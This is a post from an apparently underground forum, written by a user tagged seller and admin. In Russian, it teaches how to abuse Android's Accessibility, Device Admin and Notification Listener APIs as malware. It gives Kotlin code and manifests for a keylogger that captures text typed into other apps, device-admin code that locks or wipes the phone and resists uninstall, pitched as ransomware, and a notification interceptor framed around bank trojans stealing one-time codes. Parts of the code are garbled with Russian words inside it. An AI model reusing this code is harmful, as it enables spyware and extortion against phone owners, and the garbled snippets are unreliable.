Android Control: Intercepting Data and Resetting Smartphones Using the Most Dangerous APIs

WILD

Administrator
Staff member
ADMIN
SELLER
SUPREME
MEMBER
Joined
Jan 21, 2025
Messages
219
Reaction score
637
Deposit
0$
Кроме традиционных разрешений, в Android есть три мета‑разрешения, которые открывают доступ к весьма опасным API, позволяющим в прямом смысле захватить контроль над устройством. В этой статье мы научимся их использовать, чтобы программно нажимать кнопки смартфона, перехватывать уведомления, извлекать текст из полей ввода других приложений и сбрасывать настройки смартфона.

О каких API пойдет речь?


  1. Администрирование устройства — API, предназначенный для корпоративных приложений. Позволяет сбрасывать и устанавливать пароль экрана блокировки, сбрасывать смартфон до заводских настроек и устанавливать правила минимальной сложности пароля. Одна из особенностей API — запрещено удалять приложения, получившие права администратора, чем с радостью пользуются авторы зловредных приложений.
  2. Accessibility — API для реализации приложений, ориентированных на людей с ограниченными возможностями. Фактически API позволяет создавать альтернативные способы управления устройством и поэтому открывает поистине огромный простор для злоупотребления. С его помощью можно получить доступ к содержимому экрана практически любого приложения, нажимать кнопки интерфейса и программно нажимать клавиши самого смартфона. Но есть и способ защиты: разработчик приложения может прямо указать, что определенные элементы интерфейса приложения будут недоступны для сервисов Accessibility.
  3. Уведомления — API, позволяющий получить доступ ко всем уведомлениям, которые отображаются в панели уведомлений. С помощью этого API приложение может прочитать всю информацию об уведомлении, включая заголовок, текст и содержимое кнопок управления, нажать на эти кнопки и даже смахнуть уведомление. API пользуется особой популярностью среди разработчиков всевозможных банковских троянов, с помощью которого они могут читать коды подтверждения и смахивать предупреждающие сообщения от банков.
Получив доступ ко всем этим API, зловредное приложение сможет сделать со смартфоном практически все что угодно. Именно поэтому для их защиты используются не традиционные запросы полномочий, на которые пользователь может машинально ответить «Да», а скрытый глубоко в настройках интерфейс, который при активации покажет угрожающее сообщение. Все, что может сделать приложение, чтобы получить нужное полномочие, — это перебросить пользователя в окно настроек, после чего тот должен будет найти нужное приложение, включить напротив него переключатель и согласиться с предупреждающим сообщением.

Заставить пользователя дать разрешение на использование этих API можно обманом. Зачастую зловреды прикидываются легитимными приложениями, которым разрешение нужно для работы ключевой функциональности. К примеру, это может быть приложение для ведения журнала уведомлений или приложение для альтернативной жестовой навигации (такому приложению нужен сервис Accessibility для нажатия кнопок навигации). Также можно использовать атаку Cloak & Dagger, чтобы перекрыть окно настроек другим безобидным окном.


НАЖИМАЕМ КНОПКИ СМАРТФОНА​

Простейший сервис Accessibility может выглядеть так (код на Kotlin):



class AccessService: AccessibilityService() {

companion object {

var service: AccessibilityService? = null

// Метод для программного нажатия кнопки «Домой»

fun pressHome() {

service?.performGlobalAction(GLOBAL_ACTION_HOME)

}

}

override fun onServiceConnected() {

service = this

super.onServiceConnected()

}

override fun onUnbind(intent: Intent?): Boolean {

service = null

return super.onUnbind(intent)

}

override fun onInterrupt() {}

override fun onAccessibilityEvent(event: AccessibilityEvent) {}

}

Чтобы система узнала о нашем сервисе, его необходимо объявить в AndroidManifest.xml:

<service

android:name=".AccessService"

android:label="@string/app_name"

android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">

<intent-filter>

<action android:name="android.accessibilityservice.AccessibilityService" />

</intent-filter>

<meta-data

android:name="android.accessibilityservice"

android:resource="@xml/accessibility_service_config" />

</service>

Это описание ссылается на конфигурационный файл accessibility_service_config.xml, который должен быть определен в каталоге xml проекта. Для нашего случая достаточно будет такого конфига:

<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"

android:canRetrieveWindowContent="false"

android:description="@string/accessibility_description" />

После того как пользователь включит наш сервис Accessibility в окне «Настройки → Спец. возможности», система автоматически запустит сервис и мы сможем выполнить функцию pressHome(), чтобы нажать кнопку «Домой»:

// Если service не null — значит, система успешно запустила сервис

if (AccessService.service != null) {

AccessService.pressHome()

}

Одной лишь только этой функциональности достаточно, чтобы реализовать Ransomware, который будет вызывать функцию pressHome() в цикле и бесконечно возвращать пользователя на домашний экран, не давая нормально использовать устройство.

Окно включения сервиса Accessibility в Android 11Однако настоящая мощь Accessibility кроется не в нажатии кнопок навигации, а в возможности контролировать другие приложения.


ПЕРЕХВАТЫВАЕМ СОДЕРЖИМОЕ ПОЛЕЙ ВВОДА​

API Accessibility был создан для людей с ограниченными возможностями. С его помощью можно, например, создать приложение, которое будет зачитывать все надписи интерфейса и позволит нажимать элементы интерфейса голосом. Все это достижимо благодаря тому, что Accessibility дает полный доступ к интерфейсу приложений в виде дерева элементов: можно пройти по нему и выполнить над элементами определенные операции.

Чтобы научить наше приложение «ходить» по интерфейсу приложений, мы должны изменить описание сервиса в его настройках. Следующий конфиг дает полный доступ к интерфейсу любого приложения:

<accessibility-service

xmlns:android="http://schemas.android.com/apk/res/android"

android:accessibilityEventTypes="typeAllMask"

android:accessibilityFeedbackType="feedbackAllMask"

android:accessibilityFlags="flagDefault"

android:canRequestEnhancedWebAccessibility="true"

android:notificationTimeout="100"

android:packageNames="@null"

android:canRetrieveWindowContent="true"

android:canRequestTouchExplorationMode="true"

/>

Теперь напишем простейший кейлоггер. Для этого добавим в код сервиса такую функцию:

override fun onAccessibilityEvent(event: AccessibilityEvent) {

if (event.source?.className == "android.widget.EditText") {

Log.d("EditText text: ", event.source?.text.toString())

}

}

Теперь все, что пользователь введет в любое поле ввода любого приложения, будет выведено в консоль.

API Accessibility достаточно развит и позволяет перемещаться по дереву элементов, копировать текст элементов, вставлять в них текст и выполнять множество других действий. Это действительно опасный инструмент, поэтому Android будет использовать любую возможность, чтобы отозвать права Accessibility у приложения. Например, это произойдет при первом же падении сервиса. Кроме того, Android предоставляет разработчикам способ защитить критические компоненты приложения с помощью флага importantForAccessibility:

<LinearLayout

android:importantForAccessibility="noHideDescendants"

... />

Этот код скроет лейаут и всех его потомков от сервисов Accessibility.

То же самое в коде:

view.setImportantForAccessibility(IMPORTANT_FOR_ACCESSIBILITY_NO_HIDE_DESCENDANTS);


Дамп дерева UI​

Есть удобный способ сделать дамп UI любого приложения таким, каким его видит сервис Accessibility:

$ adb shell uiautomator dump

$ adb pull /sdcard/window_dump.xml

БЛОКИРУЕМ УСТРОЙСТВО И ЗАЩИЩАЕМСЯ ОТ УДАЛЕНИЯ​

Перейдем к API администрирования устройства. Как уже было сказано, этот API предназначен для удаленного управления защитой устройств: установки пароля, политик сложности пароля и удаленного сброса устройства. Использовать его не труднее, чем сервис Accessibility, но сам принцип отличается.

Первое, что мы должны сделать, — создать ресивер, который будет вызван после включения/выключения прав администратора. Добавлять в ресивер какой‑то осмысленный код необязательно — главное, чтобы он был:

class DeviceAdminPermissionReceiver : DeviceAdminReceiver() {

override fun onDisabled(aContext: Context, aIntent: Intent) {

}

}

Далее ресивер необходимо добавить в манифест:

<receiver

android:name=".DeviceAdminPermissionReceiver"

android:label="@string/app_name"

android:permission="android.permission.BIND_DEVICE_ADMIN">

<meta-data

android:name="android.app.device_admin"

android:resource="@xml/admin_policies" />

<intent-filter>

<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />

</intent-filter>

</receiver>

Эта запись ссылается на конфигурационный файл xml/admin_policies.xml. Создаем его и добавляем следующие строки:

<device-admin>

<uses-policies>

<reset-password />

<force-lock />

<wipe-data />

</uses-policies>

</device-admin>

Конфиг говорит, что наше приложение может сбрасывать и менять пароль экрана блокировки, выключать экран, блокируя его паролем, и сбрасывать устройство до заводских настроек.

После того как пользователь даст разрешение на использование прав администратора в разделе «Настройки → Безопасность → Приложения администратора устройства», мы можем проверить, действительно ли мы получили эти права, и воспользоваться ими:

// Функция для определения наличия прав

fun checkAdminPermission() {

val adminComponent = ComponentName(this, DeviceAdminPermissionReceiver::class.java)

val policyManager = getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager

return policyManager.isAdminActive(adminComponent))

}

val policyManager = getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager

// Блокируем устройство и принудительно запрашиваем пароль

policyManager.lockNow()

// Сбрасываем устройство до заводских настроек

policyManager.wipeData(0)

// Меняем пароль экрана блокировки (не работает в Android 7+)

policyManager.resetPassword("1234", 0)

Обрати внимание, что мы можем заблокировать устройство и даже сбросить его до заводских настроек, но начиная с Android 7 не имеем права поменять текущий пароль на экране блокировки.

Если быть более точным, текущий пароль в современных устройствах может изменять только приложение со статусом device owner. Есть лишь два способа получить такой статус:


  • установить приложение‑администратор на девственно чистое устройство с помощью QR-кода. Для этого есть специальный API, которого мы не будем касаться в этой статье;
  • назначить приложение device owner’ом с помощью ADB или прав root. Для этого нужно выполнить такую команду:
$ dpm set-device-owner com.example.app/.DeviceAdminPermissionReceiver

Но, даже имея возможность только сбрасывать и блокировать устройство, мы можем написать приложение, которое будет требовать у пользователя выкуп, угрожая уничтожить все данные, или блокировать устройство в цикле. При этом пользователь не сможет просто так взять и удалить наше приложение, сначала придется отозвать у него права администратора.

Экран включения прав администратора


ПЕРЕХВАТЫВАЕМ И СМАХИВАЕМ УВЕДОМЛЕНИЯ​

Может показаться, что метод перехвата не столь уж лакомый предмет для вредоносных программ, а только думается: в современных устройствах через массу средств передается конфиденциальная информация: SMS (включая одноразовые коды подтверждения), сообщения мессенджеров, заголовки писем и часть их содержания, различные сервисные сообщения.

Как и в случае Accessibility API, для перехвата идентификатора нужен сервис, который в итоге будет управлять самой системой. Напишем код сервиса:

class NLService: NotificationListenerService() {

private var connected = false

override fun onListenerConnected() {

подключено = true

super.onListenerConnected()

}

override fun onListenerDisconnected() {

подключено = false

super.onListenerDisconnected()

}

override fun onNotificationPosted(sbn: StatusBarNotification) {

cancelNotification(sbn.key)

}

override fun onNotificationRemoved(sbn: StatusBarNotification?) {

}

}

Сервис имеет четыре основных колбэка. Два вызова при подключении/отключении сервиса (обычно это происходит при запуске и остановке приложения, а также при включении и выключении доступа к уведомлениям). Еще два нужны для обработки/исключения приложения.

Наш простейший сервис при появлении уведомлений сразу смахивает его, а при уходе ничего не делает. Однако мы могли бы, например, заполнить заголовок, текст, а также пакет «Что принадлежит»:

val extras = sbn.notification.extras

val title = extras.getCharSequence(Notification.EXTRA_TITLE)

val text = extras.getCharSequence(Notification.EXTRA_TEXT)

val package = sbn.packageName

Банковские трояны обычно просматривают пакетные приложения, сравнивая их с базой банковских клиентов, а также распарсивают заголовки и текстовые сообщения в поисках конкретных для сообщений банков строк. Далее.

Чтобы сервис заработал, его необходимо объявить в манифесте:

<сервис

android:name=".NLService"

android:label="@string/app_name"

android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">

<intent-filter>

<action android:name="android.service.notification.NotificationListenerService" />

</intent-filter>

</service>

После включения в продукт (Приложения и уведомления → Специальный доступ → Доступ к уведомлениям) сервис начнет работать.
Окно включение доступа к уведомлениям


ВЫВОДЫ​

Недурно, не правда ли? Написав пару последних строк кода, мы научились программно нажимать на кнопку смартфона, перехватывать уведомления, вызывать текст из полей ввода других приложений и даже сбрасывать настройки смартфона. Все это выглядит действительно страшно, особенно в контексте iOS. Но согласись, далеко не так страшно, как в случае с настольными Windows, Linux и macOS, где для полного контроля над телефоном иногда достаточно всего лишь нажать пользователю «Да» в одно‑единственном диалоге.
 
Top Bottom